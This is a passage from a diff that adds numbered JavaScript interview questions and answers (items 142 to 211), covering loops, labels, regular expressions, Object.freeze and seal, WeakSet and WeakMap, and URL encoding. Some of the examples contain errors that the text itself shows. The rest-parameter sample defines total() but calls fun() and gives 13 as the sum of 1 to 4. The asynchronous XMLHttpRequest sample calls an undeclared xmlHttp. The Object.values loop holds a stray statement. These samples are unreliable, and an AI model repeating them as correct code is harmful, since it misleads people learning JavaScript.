+        sum.length; // 4 is the number of parameters expected.
+        ```
+
+142.    What is a polyfill
+
+        A polyfill is a piece of JS code used to provide modern functionality on older browsers that do not natively support it. For example, Silverlight plugin polyfill can be used to mimic the functionality of an HTML Canvas element on Microsoft Internet Explorer 7.
+
+143.    What are break and continue statements
+
+        The break statement is used to "jump out" of a loop. i.e, It breaks the loop and continues executing the code after the loop.
+
+        ```javascript
+        for (i = 0; i < 10; i++) {
+            if (i === 5) {
+                break;
+            }
+            text += 'Number: ' + i + '<br>';
+        }
+        ```
+
+        The continue statement is used to "jump over" one iteration in the loop. i.e, It breaks one iteration (in the loop), if a specified condition occurs, and continues with the next iteration in the loop.
+
+        ```javascript
+        for (i = 0; i < 10; i++) {
+            if (i === 5) {
+                continue;
+            }
+            text += 'Number: ' + i + '<br>';
+        }
+        ```
+
+144.    What are js labels
+
+        The label statement allows us to name loops and blocks in JavaScript. We can then use these labels to refer back to the code later. For example, the below code with labels avoids printing the numbers when they are same,
+
+        ```javascript
+        var i, j;
+
+        loop1: for (i = 0; i < 3; i++) {
+            loop2: for (j = 0; j < 3; j++) {
+                if (i === j) {
+                    continue loop1;
+                }
+                console.log('i = ' + i + ', j = ' + j);
+            }
+        }
+
+        // Output is:
+        //   "i = 1, j = 0"
+        //   "i = 2, j = 0"
+        //   "i = 2, j = 1"
+        ```
+
+145.    What are the benefits of keeping declarations at the top
+
+        It is recommended to keep all declarations at the top of each script or function. The benefits of doing this are,
+
+        1. Gives cleaner code
+        2. It provides a single place to look for local variables
+        3. Easy to avoid unwanted global variables
+        4. It reduces the possibility of unwanted re-declarations
+
+146.    What are the benefits of initializing variables
+
+        It is recommended to initialize variables because of the below benefits,
+
+        1. It gives cleaner code
+        2. It provides a single place to initialize variables
+        3. Avoid undefined values in the code
+
+147.    What are the recommendations to create new object
+
+        It is recommended to avoid creating new objects using `new Object()`. Instead you can initialize values based on it's type to create the objects.
+
+        1. Assign {} instead of new Object()
+        2. Assign "" instead of new String()
+        3. Assign 0 instead of new Number()
+        4. Assign false instead of new Boolean()
+        5. Assign [] instead of new Array()
+        6. Assign /()/ instead of new RegExp()
+        7. Assign function (){} instead of new Function()
+
+        You can define them as an example,
+
+        ```javascript
+        var v1 = {};
+        var v2 = '';
+        var v3 = 0;
+        var v4 = false;
+        var v5 = [];
+        var v6 = /()/;
+        var v7 = function () {};
+        ```
+
+148.    How do you define JSON arrays
+
+        JSON arrays are written inside square brackets and arrays contain javascript objects. For example, the JSON array of users would be as below,
+
+        ```javascript
+        "users":[
+          {"firstName":"John", "lastName":"Abrahm"},
+          {"firstName":"Anna", "lastName":"Smith"},
+          {"firstName":"Shane", "lastName":"Warn"}
+        ]
+        ```
+
+149.    How do you generate random integers
+
+        You can use Math.random() with Math.floor() to return random integers. For example, if you want generate random integers between 1 to 10, the multiplication factor should be 10,
+
+        ```javascript
+        Math.floor(Math.random() * 10) + 1; // returns a random integer from 1 to 10
+        Math.floor(Math.random() * 100) + 1; // returns a random integer from 1 to 100
+        ```
+
+        **Note:** Math.random() returns a random number between 0 (inclusive), and 1 (exclusive)
+
+150.    Can you write a random integers function to print integers with in a range
+
+        Yes, you can create a proper random function to return a random number between min and max (both included)
+
+        ```javascript
+        function randomInteger(min, max) {
+            return Math.floor(Math.random() * (max - min + 1)) + min;
+        }
+        randomInteger(1, 100); // returns a random integer from 1 to 100
+        randomInteger(1, 1000); // returns a random integer from 1 to 1000
+        ```
+
+151.    What is tree shaking
+
+        Tree shaking is a form of dead code elimination. It means that unused modules will not be included in the bundle during the build process and for that it relies on the static structure of ES2015 module syntax,( i.e. import and export). Initially this has been popularized by the ES2015 module bundler `rollup`.
+
+152.    What is the need of tree shaking
+
+        Tree Shaking can significantly reduce the code size in any application. i.e, The less code we send over the wire the more performant the application will be. For example, if we just want to create a "Hello World" Application using SPA frameworks then it will take around a few MBs, but by tree shaking it can bring down the size to just a few hundred KBs. Tree shaking is implemented in Rollup and Webpack bundlers.
+
+153.    Is it recommended to use eval
+
+        No, it allows arbitrary code to be run which causes a security problem. As we know that the eval() function is used to run text as code. In most of the cases, it should not be necessary to use it.
+
+154.    What is a Regular Expression
+
+        A regular expression is a sequence of characters that forms a search pattern. You can use this search pattern for searching data in a text. These can be used to perform all types of text search and text replace operations. Let's see the syntax format now,
+
+        ```javascript
+        /pattern/modifiers;
+        ```
+
+        For example, the regular expression or search pattern with case-insensitive username would be,
+
+        ```javascript
+        /John/i;
+        ```
+
+155.    What are the string methods available in Regular expression
+
+        Regular Expressions has two string methods: search() and replace().
+        The search() method uses an expression to search for a match, and returns the position of the match.
+
+        ```javascript
+        var msg = 'Hello John';
+        var n = msg.search(/John/i); // 6
+        ```
+
+        The replace() method is used to return a modified string where the pattern is replaced.
+
+        ```javascript
+        var msg = 'Hello John';
+        var n = msg.replace(/John/i, 'Buttler'); // Hello Buttler
+        ```
+
+156.    What are modifiers in regular expression
+
+        Modifiers can be used to perform case-insensitive and global searches. Let's list down some of the modifiers,
+
+        | Modifier | Description                                             |
+        | -------- | ------------------------------------------------------- |
+        | i        | Perform case-insensitive matching                       |
+        | g        | Perform a global match rather than stops at first match |
+        | m        | Perform multiline matching                              |
+
+        Let's take an example of global modifier,
+
+        ```javascript
+        var text = 'Learn JS one by one';
+        var pattern = /one/g;
+        var result = text.match(pattern); // one,one
+        ```
+
+157.    What are regular expression patterns
+
+        Regular Expressions provide a group of patterns in order to match characters. Basically they are categorized into 3 types,
+
+        1. **Brackets:** These are used to find a range of characters.
+           For example, below are some use cases,
+            1. [abc]: Used to find any of the characters between the brackets(a,b,c)
+            2. [0-9]: Used to find any of the digits between the brackets
+            3. (a|b): Used to find any of the alternatives separated with |
+        2. **Metacharacters:** These are characters with a special meaning
+           For example, below are some use cases,
+            1. \\d: Used to find a digit
+            2. \\s: Used to find a whitespace character
+            3. \\b: Used to find a match at the beginning or ending of a word
+        3. **Quantifiers:** These are useful to define quantities
+           For example, below are some use cases,
+            1. n+: Used to find matches for any string that contains at least one n
+            2. n\*: Used to find matches for any string that contains zero or more occurrences of n
+            3. n?: Used to find matches for any string that contains zero or one occurrences of n
+
+158.    What is a RegExp object
+
+        RegExp object is a regular expression object with predefined properties and methods. Let's see the simple usage of RegExp object,
+
+        ```javascript
+        var regexp = new RegExp('\\w+');
+        console.log(regexp);
+        // expected output: /\w+/
+        ```
+
+159.    How do you search a string for a pattern
+
+        You can use the test() method of regular expression in order to search a string for a pattern, and return true or false depending on the result.
+
+        ```javascript
+        var pattern = /you/;
+        console.log(pattern.test('How are you?')); //true
+        ```
+
+160.    What is the purpose of exec method
+
+        The purpose of exec method is similar to test method but it executes a search for a match in a specified string and returns a result array, or null instead of returning true/false.
+
+        ```javascript
+        var pattern = /you/;
+        console.log(pattern.exec('How are you?')); //["you", index: 8, input: "How are you?", groups: undefined]
+        ```
+
+161.    How do you change the style of a HTML element
+
+        You can change inline style or classname of a HTML element using javascript
+
+        1. **Using style property:** You can modify inline style using style property
+
+        ```javascript
+        document.getElementById('title').style.fontSize = '30px';
+        ```
+
+        1. **Using ClassName property:** It is easy to modify element class using className property
+
+        ```javascript
+        document.getElementById('title').className = 'custom-title';
+        ```
+
+162.    What would be the result of 1+2+'3'
+
+        The output is going to be `33`. Since `1` and `2` are numeric values, the result of the first two digits is going to be a numeric value `3`. The next digit is a string type value because of that the addition of numeric value `3` and string type value `3` is just going to be a concatenation value `33`.
+
+163.    What is a debugger statement
+
+        The debugger statement invokes any available debugging functionality, such as setting a breakpoint. If no debugging functionality is available, this statement has no effect.
+        For example, in the below function a debugger statement has been inserted. So
+        execution is paused at the debugger statement just like a breakpoint in the script source.
+
+        ```javascript
+        function getProfile() {
+            // code goes here
+            debugger;
+            // code goes here
+        }
+        ```
+
+164.    What is the purpose of breakpoints in debugging
+
+        You can set breakpoints in the javascript code once the debugger statement is executed and the debugger window pops up. At each breakpoint, javascript will stop executing, and let you examine the JavaScript values. After examining values, you can resume the execution of code using the play button.
+
+165.    Can I use reserved words as identifiers
+
+        No, you cannot use the reserved words as variables, labels, object or function names. Let's see one simple example,
+
+        ```javascript
+        var else = "hello"; // Uncaught SyntaxError: Unexpected token else
+        ```
+
+166.    How do you detect a mobile browser
+
+        You can use regex which returns a true or false value depending on whether or not the user is browsing with a mobile.
+
+        ```javascript
+        window.mobilecheck = function () {
+            var mobileCheck = false;
+            (function (a) {
+                if (
+                    /(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(
+                        a
+                    ) ||
+                    /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(
+                        a.substr(0, 4)
+                    )
+                )
+                    mobileCheck = true;
+            })(navigator.userAgent || navigator.vendor || window.opera);
+            return mobileCheck;
+        };
+        ```
+
+167.    How do you detect a mobile browser without regexp
+
+        You can detect mobile browsers by simply running through a list of devices and checking if the useragent matches anything. This is an alternative solution for RegExp usage,
+
+        ```javascript
+        function detectmob() {
+            if (
+                navigator.userAgent.match(/Android/i) ||
+                navigator.userAgent.match(/webOS/i) ||
+                navigator.userAgent.match(/iPhone/i) ||
+                navigator.userAgent.match(/iPad/i) ||
+                navigator.userAgent.match(/iPod/i) ||
+                navigator.userAgent.match(/BlackBerry/i) ||
+                navigator.userAgent.match(/Windows Phone/i)
+            ) {
+                return true;
+            } else {
+                return false;
+            }
+        }
+        ```
+
+168.    How do you get the image width and height using JS
+
+        You can programmatically get the image and check the dimensions(width and height) using Javascript.
+
+        ```javascript
+        var img = new Image();
+        img.onload = function () {
+            console.log(this.width + 'x' + this.height);
+        };
+        img.src = 'http://www.google.com/intl/en_ALL/images/logo.gif';
+        ```
+
+169.    How do you make synchronous HTTP request
+
+        Browsers provide an XMLHttpRequest object which can be used to make synchronous HTTP requests from JavaScript
+
+        ```javascript
+        function httpGet(theUrl) {
+            var xmlHttpReq = new XMLHttpRequest();
+            xmlHttpReq.open('GET', theUrl, false); // false for synchronous request
+            xmlHttpReq.send(null);
+            return xmlHttpReq.responseText;
+        }
+        ```
+
+170.    How do you make asynchronous HTTP request
+
+        Browsers provide an XMLHttpRequest object which can be used to make asynchronous HTTP requests from JavaScript by passing the 3rd parameter as true.
+
+        ```javascript
+        function httpGetAsync(theUrl, callback) {
+            var xmlHttpReq = new XMLHttpRequest();
+            xmlHttpReq.onreadystatechange = function () {
+                if (xmlHttpReq.readyState == 4 && xmlHttpReq.status == 200) callback(xmlHttpReq.responseText);
+            };
+            xmlHttp.open('GET', theUrl, true); // true for asynchronous
+            xmlHttp.send(null);
+        }
+        ```
+
+171.    How do you convert date to another timezone in javascript
+
+        You can use the toLocaleString() method to convert dates in one timezone to another. For example, let's convert current date to British English timezone as below,
+
+        ```javascript
+        console.log(event.toLocaleString('en-GB', { timeZone: 'UTC' })); //29/06/2019, 09:56:00
+        ```
+
+172.    What are the properties used to get size of window
+
+        You can use innerWidth, innerHeight, clientWidth, clientHeight properties of windows, document element and document body objects to find the size of a window. Let's use them combination of these properties to calculate the size of a window or document,
+
+        ```javascript
+        var width = window.innerWidth || document.documentElement.clientWidth || document.body.clientWidth;
+
+        var height = window.innerHeight || document.documentElement.clientHeight || document.body.clientHeight;
+        ```
+
+173.    What is a conditional operator in javascript
+
+        The conditional (ternary) operator is the only JavaScript operator that takes three operands which acts as a shortcut for if statements.
+
+        ```javascript
+        var isAuthenticated = false;
+        console.log(isAuthenticated ? 'Hello, welcome' : 'Sorry, you are not authenticated'); //Sorry, you are not authenticated
+        ```
+
+174.    Can you apply chaining on conditional operator
+
+        Yes, you can apply chaining on conditional operators similar to if … else if … else if … else chain. The syntax is going to be as below,
+
+        ```javascript
+        function traceValue(someParam) {
+            return condition1 ? value1 : condition2 ? value2 : condition3 ? value3 : value4;
+        }
+
+        // The above conditional operator is equivalent to:
+
+        function traceValue(someParam) {
+            if (condition1) {
+                return value1;
+            } else if (condition2) {
+                return value2;
+            } else if (condition3) {
+                return value3;
+            } else {
+                return value4;
+            }
+        }
+        ```
+
+175.    What are the ways to execute javascript after page load
+
+        You can execute javascript after page load in many different ways,
+
+        1. **window.onload:**
+
+        ```javascript
+        window.onload = function ...
+        ```
+
+        1. **document.onload:**
+
+        ```javascript
+        document.onload = function ...
+        ```
+
+        1. **body onload:**
+
+        ```javascript
+        <body onload="script();">
+        ```
+
+176.    What is the difference between proto and prototype
+
+        The `__proto__` object is the actual object that is used in the lookup chain to resolve methods, etc. Whereas `prototype` is the object that is used to build `__proto__` when you create an object with new
+
+        ```javascript
+        new Employee().__proto__ === Employee.prototype;
+        new Employee().prototype === undefined;
+        ```
+
+177.    Give an example where do you really need semicolon
+
+        It is recommended to use semicolons after every statement in JavaScript. For example, in the below case it throws an error ".. is not a function" at runtime due to missing semicolon.
+
+        ```javascript
+        // define a function
+        var fn = (function () {
+            //...
+        })(
+            // semicolon missing at this line
+
+            // then execute some code inside a closure
+            function () {
+                //...
+            }
+        )();
+        ```
+
+        and it will be interpreted as
+
+        ```javascript
+        var fn = (function () {
+            //...
+        })(function () {
+            //...
+        })();
+        ```
+
+        In this case, we are passing the second function as an argument to the first function and then trying to call the result of the first function call as a function. Hence, the second function will fail with a "... is not a function" error at runtime.
+
+178.    What is a freeze method
+
+        The **freeze()** method is used to freeze an object. Freezing an object does not allow adding new properties to an object,prevents from removing and prevents changing the enumerability, configurability, or writability of existing properties. i.e, It returns the passed object and does not create a frozen copy.
+
+        ```javascript
+        const obj = {
+            prop: 100
+        };
+
+        Object.freeze(obj);
+        obj.prop = 200; // Throws an error in strict mode
+
+        console.log(obj.prop); //100
+        ```
+
+        **Note:** It causes a TypeError if the argument passed is not an object.
+
+179.    What is the purpose of freeze method
+
+        Below are the main benefits of using freeze method,
+
+        1. It is used for freezing objects and arrays.
+        2. It is used to make an object immutable.
+
+180.    Why do I need to use freeze method
+
+        In the Object-oriented paradigm, an existing API contains certain elements that are not intended to be extended, modified, or re-used outside of their current context. Hence it works as the `final` keyword which is used in various languages.
+
+181.    How do you detect a browser language preference
+
+        You can use navigator object to detect a browser language preference as below,
+
+        ```javascript
+        var language =
+            (navigator.languages && navigator.languages[0]) || // Chrome / Firefox
+            navigator.language || // All browsers
+            navigator.userLanguage; // IE <= 10
+
+        console.log(language);
+        ```
+
+182.    How to convert string to title case with javascript
+
+        Title case means that the first letter of each word is capitalized. You can convert a string to title case using the below function,
+
+        ```javascript
+        function toTitleCase(str) {
+            return str.replace(/\w\S*/g, function (txt) {
+                return txt.charAt(0).toUpperCase() + txt.substr(1).toLowerCase();
+            });
+        }
+        toTitleCase('good morning john'); // Good Morning John
+        ```
+
+183.    How do you detect javascript disabled in the page
+
+        You can use the `<noscript>` tag to detect javascript disabled or not. The code block inside `<noscript>` gets executed when JavaScript is disabled, and is typically used to display alternative content when the page generated in JavaScript.
+
+        ```javascript
+        <script type="javascript">
+            // JS related code goes here
+        </script>
+        <noscript>
+            <a href="next_page.html?noJS=true">JavaScript is disabled in the page. Please click Next Page</a>
+        </noscript>
+        ```
+
+184.    What are various operators supported by javascript
+
+        An operator is capable of manipulating(mathematical and logical computations) a certain value or operand. There are various operators supported by JavaScript as below,
+
+        1. **Arithmetic Operators:** Includes + (Addition),- (Subtraction), \* (Multiplication), / (Division), % (Modulus), + + (Increment) and - - (Decrement)
+        2. **Comparison Operators:** Includes = =(Equal),!= (Not Equal), ===(Equal with type), > (Greater than),> = (Greater than or Equal to),< (Less than),<= (Less than or Equal to)
+        3. **Logical Operators:** Includes &&(Logical AND),||(Logical OR),!(Logical NOT)
+        4. **Assignment Operators:** Includes = (Assignment Operator), += (Add and Assignment Operator), - = (Subtract and Assignment Operator), \*= (Multiply and Assignment), /= (Divide and Assignment), %= (Modules and Assignment)
+        5. **Ternary Operators:** It includes conditional(: ?) Operator
+        6. **typeof Operator:** It uses to find type of variable. The syntax looks like `typeof variable`
+
+185.    What is a rest parameter
+
+        Rest parameter is an improved way to handle function parameters which allows us to represent an indefinite number of arguments as an array. The syntax would be as below,
+
+        ```javascript
+        function f(a, b, ...theArgs) {
+            // ...
+        }
+        ```
+
+        For example, let's take a sum example to calculate on dynamic number of parameters,
+
+        ```javascript
+        function total(…args){
+        let sum = 0;
+        for(let i of args){
+        sum+=i;
+        }
+        return sum;
+        }
+        console.log(fun(1,2)); //3
+        console.log(fun(1,2,3)); //6
+        console.log(fun(1,2,3,4)); //13
+        console.log(fun(1,2,3,4,5)); //15
+        ```
+
+        **Note:** Rest parameter is added in ES2015 or ES6
+
+186.    What happens if you do not use rest parameter as a last argument
+
+        The rest parameter should be the last argument, as its job is to collect all the remaining arguments into an array. For example, if you define a function like below it doesn't make any sense and will throw an error.
+
+        ```javascript
+        function someFunc(a,…b,c){
+        //You code goes here
+        return;
+        }
+        ```
+
+187.    What are the bitwise operators available in javascript
+
+        Below are the list of bitwise logical operators used in JavaScript
+
+        1. Bitwise AND ( & )
+        2. Bitwise OR ( | )
+        3. Bitwise XOR ( ^ )
+        4. Bitwise NOT ( ~ )
+        5. Left Shift ( << )
+        6. Sign Propagating Right Shift ( >> )
+        7. Zero fill Right Shift ( >>> )
+
+188.    What is a spread operator
+
+        Spread operator allows iterables( arrays / objects / strings ) to be expanded into single arguments/elements. Let's take an example to see this behavior,
+
+        ```javascript
+        function calculateSum(x, y, z) {
+            return x + y + z;
+        }
+
+        const numbers = [1, 2, 3];
+
+        console.log(calculateSum(...numbers)); // 6
+        ```
+
+189.    How do you determine whether object is frozen or not
+
+        Object.isFrozen() method is used to determine if an object is frozen or not.An object is frozen if all of the below conditions hold true,
+
+        1. If it is not extensible.
+        2. If all of its properties are non-configurable.
+        3. If all its data properties are non-writable.
+           The usage is going to be as follows,
+
+        ```javascript
+        const object = {
+            property: 'Welcome JS world'
+        };
+        Object.freeze(object);
+        console.log(Object.isFrozen(object));
+        ```
+
+190.    How do you determine two values same or not using object
+
+        The Object.is() method determines whether two values are the same value. For example, the usage with different types of values would be,
+
+        ```javascript
+        Object.is('hello', 'hello'); // true
+        Object.is(window, window); // true
+        Object.is([], []); // false
+        ```
+
+        Two values are the same if one of the following holds:
+
+        1. both undefined
+        2. both null
+        3. both true or both false
+        4. both strings of the same length with the same characters in the same order
+        5. both the same object (means both object have same reference)
+        6. both numbers and
+           both +0
+           both -0
+           both NaN
+           both non-zero and both not NaN and both have the same value.
+
+191.    What is the purpose of using object is method
+
+        Some of the applications of Object's `is` method are follows,
+
+        1. It is used for comparison of two strings.
+        2. It is used for comparison of two numbers.
+        3. It is used for comparing the polarity of two numbers.
+        4. It is used for comparison of two objects.
+
+192.    How do you copy properties from one object to other
+
+        You can use the Object.assign() method which is used to copy the values and properties from one or more source objects to a target object. It returns the target object which has properties and values copied from the target object. The syntax would be as below,
+
+        ```javascript
+        Object.assign(target, ...sources);
+        ```
+
+        Let's take example with one source and one target object,
+
+        ```javascript
+        const target = { a: 1, b: 2 };
+        const source = { b: 3, c: 4 };
+
+        const returnedTarget = Object.assign(target, source);
+
+        console.log(target); // { a: 1, b: 3, c: 4 }
+
+        console.log(returnedTarget); // { a: 1, b: 3, c: 4 }
+        ```
+
+        As observed in the above code, there is a common property(`b`) from source to target so it's value has been overwritten.
+
+193.    What are the applications of assign method
+
+        Below are the some of main applications of Object.assign() method,
+
+        1. It is used for cloning an object.
+        2. It is used to merge objects with the same properties.
+
+194.    What is a proxy object
+
+        The Proxy object is used to define custom behavior for fundamental operations such as property lookup, assignment, enumeration, function invocation, etc. The syntax would be as follows,
+
+        ```javascript
+        var p = new Proxy(target, handler);
+        ```
+
+        Let's take an example of proxy object,
+
+        ```javascript
+        var handler = {
+            get: function (obj, prop) {
+                return prop in obj ? obj[prop] : 100;
+            }
+        };
+
+        var p = new Proxy({}, handler);
+        p.a = 10;
+        p.b = null;
+
+        console.log(p.a, p.b); // 10, null
+        console.log('c' in p, p.c); // false, 100
+        ```
+
+        In the above code, it uses `get` handler which define the behavior of the proxy when an operation is performed on it
+
+195.    What is the purpose of seal method
+
+        The **Object.seal()** method is used to seal an object, by preventing new properties from being added to it and marking all existing properties as non-configurable. But values of present properties can still be changed as long as they are writable. Let's see the below example to understand more about seal() method
+
+        ```javascript
+        const object = {
+            property: 'Welcome JS world'
+        };
+        Object.seal(object);
+        object.property = 'Welcome to object world';
+        console.log(Object.isSealed(object)); // true
+        delete object.property; // You cannot delete when sealed
+        console.log(object.property); //Welcome to object world
+        ```
+
+196.    What are the applications of seal method
+
+        Below are the main applications of Object.seal() method,
+
+        1. It is used for sealing objects and arrays.
+        2. It is used to make an object immutable.
+
+197.    What are the differences between freeze and seal methods
+
+        If an object is frozen using the Object.freeze() method then its properties become immutable and no changes can be made in them whereas if an object is sealed using the Object.seal() method then the changes can be made in the existing properties of the object.
+
+198.    How do you determine if an object is sealed or not
+
+        The Object.isSealed() method is used to determine if an object is sealed or not. An object is sealed if all of the below conditions hold true
+
+        1. If it is not extensible.
+        2. If all of its properties are non-configurable.
+        3. If it is not removable (but not necessarily non-writable).
+           Let's see it in the action
+
+        ```javascript
+        const object = {
+            property: 'Hello, Good morning'
+        };
+
+        Object.seal(object); // Using seal() method to seal the object
+
+        console.log(Object.isSealed(object)); // checking whether the object is sealed or not
+        ```
+
+199.    How do you get enumerable key and value pairs
+
+        The Object.entries() method is used to return an array of a given object's own enumerable string-keyed property [key, value] pairs, in the same order as that provided by a for...in loop. Let's see the functionality of object.entries() method in an example,
+
+        ```javascript
+        const object = {
+            a: 'Good morning',
+            b: 100
+        };
+
+        for (let [key, value] of Object.entries(object)) {
+            console.log(`${key}: ${value}`); // a: 'Good morning'
+            // b: 100
+        }
+        ```
+
+        **Note:** The order is not guaranteed as object defined.
+
+200.    What is the main difference between Object.values and Object.entries method
+
+        The Object.values() method's behavior is similar to Object.entries() method but it returns an array of values instead [key,value] pairs.
+
+        ```javascript
+        const object = {
+            a: 'Good morning',
+            b: 100
+        };
+
+        for (let value of Object.values(object)) {
+            console.log(`${value}`); // 'Good morning'
+            100;
+        }
+        ```
+
+201.    How can you get the list of keys of any object
+
+        You can use the `Object.keys()` method which is used to return an array of a given object's own property names, in the same order as we get with a normal loop. For example, you can get the keys of a user object,
+
+        ```javascript
+        const user = {
+            name: 'John',
+            gender: 'male',
+            age: 40
+        };
+
+        console.log(Object.keys(user)); //['name', 'gender', 'age']
+        ```
+
+202.    How do you create an object with prototype
+
+        The Object.create() method is used to create a new object with the specified prototype object and properties. i.e, It uses an existing object as the prototype of the newly created object. It returns a new object with the specified prototype object and properties.
+
+        ```javascript
+        const user = {
+            name: 'John',
+            printInfo: function () {
+                console.log(`My name is ${this.name}.`);
+            }
+        };
+
+        const admin = Object.create(user);
+
+        admin.name = 'Nick'; // Remember that "name" is a property set on "admin" but not on "user" object
+
+        admin.printInfo(); // My name is Nick
+        ```
+
+203.    What is a WeakSet
+
+        WeakSet is used to store a collection of weakly(weak references) held objects. The syntax would be as follows,
+
+        ```javascript
+        new WeakSet([iterable]);
+        ```
+
+        Let's see the below example to explain it's behavior,
+
+        ```javascript
+        var ws = new WeakSet();
+        var user = {};
+        ws.add(user);
+        ws.has(user); // true
+        ws.delete(user); // removes user from the set
+        ws.has(user); // false, user has been removed
+        ```
+
+204.    What are the differences between WeakSet and Set
+
+        The main difference is that references to objects in Set are strong while references to objects in WeakSet are weak. i.e, An object in WeakSet can be garbage collected if there is no other reference to it.
+        Other differences are,
+
+        1. Sets can store any value Whereas WeakSets can store only collections of objects
+        2. WeakSet does not have size property unlike Set
+        3. WeakSet does not have methods such as clear, keys, values, entries, forEach.
+        4. WeakSet is not iterable.
+
+205.    List down the collection of methods available on WeakSet
+
+        Below are the list of methods available on WeakSet,
+
+        1. add(value): A new object is appended with the given value to the weakset
+        2. delete(value): Deletes the value from the WeakSet collection.
+        3. has(value): It returns true if the value is present in the WeakSet Collection, otherwise it returns false.
+
+        Let's see the functionality of all the above methods in an example,
+
+        ```javascript
+        var weakSetObject = new WeakSet();
+        var firstObject = {};
+        var secondObject = {};
+        // add(value)
+        weakSetObject.add(firstObject);
+        weakSetObject.add(secondObject);
+        console.log(weakSetObject.has(firstObject)); //true
+        weakSetObject.delete(secondObject);
+        ```
+
+206.    What is a WeakMap
+
+        The WeakMap object is a collection of key/value pairs in which the keys are weakly referenced. In this case, keys must be objects and the values can be arbitrary values. The syntax is looking like as below,
+
+        ```javascript
+        new WeakMap([iterable]);
+        ```
+
+        Let's see the below example to explain it's behavior,
+
+        ```javascript
+        var ws = new WeakMap();
+        var user = {};
+        ws.set(user);
+        ws.has(user); // true
+        ws.delete(user); // removes user from the map
+        ws.has(user); // false, user has been removed
+        ```
+
+207.    What are the differences between WeakMap and Map
+
+        The main difference is that references to key objects in Map are strong while references to key objects in WeakMap are weak. i.e, A key object in WeakMap can be garbage collected if there is no other reference to it.
+        Other differences are,
+
+        1. Maps can store any key type Whereas WeakMaps can store only collections of key objects
+        2. WeakMap does not have size property unlike Map
+        3. WeakMap does not have methods such as clear, keys, values, entries, forEach.
+        4. WeakMap is not iterable.
+
+208.    List down the collection of methods available on WeakMap
+
+        Below are the list of methods available on WeakMap,
+
+        1. set(key, value): Sets the value for the key in the WeakMap object. Returns the WeakMap object.
+        2. delete(key): Removes any value associated to the key.
+        3. has(key): Returns a Boolean asserting whether a value has been associated to the key in the WeakMap object or not.
+        4. get(key): Returns the value associated to the key, or undefined if there is none.
+           Let's see the functionality of all the above methods in an example,
+
+        ```javascript
+        var weakMapObject = new WeakMap();
+        var firstObject = {};
+        var secondObject = {};
+        // set(key, value)
+        weakMapObject.set(firstObject, 'John');
+        weakMapObject.set(secondObject, 100);
+        console.log(weakMapObject.has(firstObject)); //true
+        console.log(weakMapObject.get(firstObject)); // John
+        weakMapObject.delete(secondObject);
+        ```
+
+209.    What is the purpose of uneval
+
+        The uneval() is an inbuilt function which is used to create a string representation of the source code of an Object. It is a top-level function and is not associated with any object. Let's see the below example to know more about it's functionality,
+
+        ```javascript
+        var a = 1;
+        uneval(a); // returns a String containing 1
+        uneval(function user() {}); // returns "(function user(){})"
+        ```
+
+210.    How do you encode an URL
+
+        The encodeURI() function is used to encode complete URI which has special characters except (, / ? : @ & = + $ #) characters.
+
+        ```javascript
+        var uri = 'https://mozilla.org/?x=шеллы';
+        var encoded = encodeURI(uri);
+        console.log(encoded); // https://mozilla.org/?x=%D1%88%D0%B5%D0%BB%D0%BB%D1%8B
+        ```
+
+211.    How do you decode an URL
+
+        The decodeURI() function is used to decode a Uniform Resource Identifier (URI) previously created by encodeURI().
+
+        ```javascript
+        var uri = 'https://mozilla.org/?x=шеллы';
+        var encoded = encodeURI(uri);
+        console.log(encoded); // https://mozilla.org/?x=%D1%88%D0%B5%D0%BB%D0%BB%D1%8B
+        try {
+            console.log(decodeURI(encoded)); // "https://mozilla.org/?x=шеллы"
+        } catch (e) {
+            // catches a malformed URI
